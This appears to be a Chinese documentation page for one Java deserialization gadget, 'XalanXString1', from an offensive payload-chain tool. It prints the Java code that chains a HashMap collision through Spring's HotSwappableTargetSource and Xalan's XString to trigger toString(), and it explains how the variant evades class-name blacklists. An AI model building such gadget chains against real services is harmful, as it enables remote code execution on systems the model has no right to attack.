Skip to content

Latest commit

 

History

History
60 lines (48 loc) · 3.84 KB

File metadata and controls

60 lines (48 loc) · 3.84 KB

Xalan XString 调用toString链(XalanXString1)

  • 类别:javanative 别名:— 优先级:—
  • 作者:—
  • 依赖spring-aop:org.springframework.aop.target.HotSwappableTargetSourcexalan:xalan:2.6.0

作用

XString1Xalan 独立包变体:把载体从 JDK 内置 com.sun.org.apache.xpath.internal.objects.XString 换成 Xalan 发行包中的 org.apache.xpath.objects.XStringxalan:xalan:2.6.0)。触发链完全相同——HashMap 碰撞 → HotSwappableTargetSource.equalsXString.equals → 对内层对象调用任意 toString()。用于 JDK 高版本已封装/移除 com.sun.org.apache.xpath.internal.*、但目标 classpath 存在 xalan 时的替代方案。

链接标签

  • 入口 tagsJavaNativeDeserializeHessianDeserialize —— 承接 Java 原生反序列化 / Hessian 反序列化入口。
  • 衔接 nextTagsToString —— 之后接一个「入口为 toString()」的 gadget。
  • excludes:(无)

源码剖析

import org.apache.xpath.objects.XString;                    // 注意:xalan 独立包,非 com.sun.* 内置

public Object getObject(Object object) throws Exception {
    XString xString = new XString("");
    HotSwappableTargetSource h1 = new HotSwappableTargetSource(object);
    HotSwappableTargetSource h2 = new HotSwappableTargetSource((Object)xString);
    HashMap map = PayloadHelper.makeMap(h1, h2);
    return map;
}

@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
    Object object = chain.doCreate(context);
    Object getterObject = context.get(ContextTag.FASTJSON_HANDLE_BYPASS_KEY);
    Object resultObject = this.getObject(object);
    if (getterObject != null) {
        return CommonMethod.listWrap(getterObject, resultObject);
    }
    return resultObject;
}

与 XString1 的唯一实质差异importXString 来自 org.apache.xpath.objects.XString(Xalan 2.6.0),而非 JDK 内置的 com.sun.org.apache.xpath.internal.objects.XString。两者代码逻辑同源(JDK 内置版本正是从 Xalan fork 而来),equals(Object obj2) 均执行 this.str().equals(obj2.toString()),因此 getObject 的构造与触发路径与 XString1 一字不差:

  1. PayloadHelper.makeMap(h1, h2) 令两个 HotSwappableTargetSource 哈希碰撞入同桶;
  2. HashMap.readObjectputValHotSwappableTargetSource.equals 比较各自 target
  3. xString.equals(object)object.toString() 被调用,展开下游 ToString gadget。

FASTJSON_HANDLE_BYPASS_KEY 处理逻辑同 XString1。

参数(@Param)

本类无 @Param,无用户可配字段;内层对象与上下文由链自动注入。

适用版本与原理要点

  • 依赖 xalan:xalan:2.6.0 独立包,不依赖 JDK 内置 xpath。在 JDK 9+ 模块化后 com.sun.org.apache.xpath.internal.* 被封装/不可访问、导致 XString1 系列失效时,若目标业务引入了 xalan,则本变体仍可用——这是它存在的核心价值。
  • 类名 org.apache.xpath.objects.XStringcom.sun.* 版本不同,也可绕过仅针对内置类名的黑名单。
  • 仍需 spring-aopHotSwappableTargetSource

所属预设链

自由构件,未直接出现在 51 条预设链中(usedInChains 为空)。

关联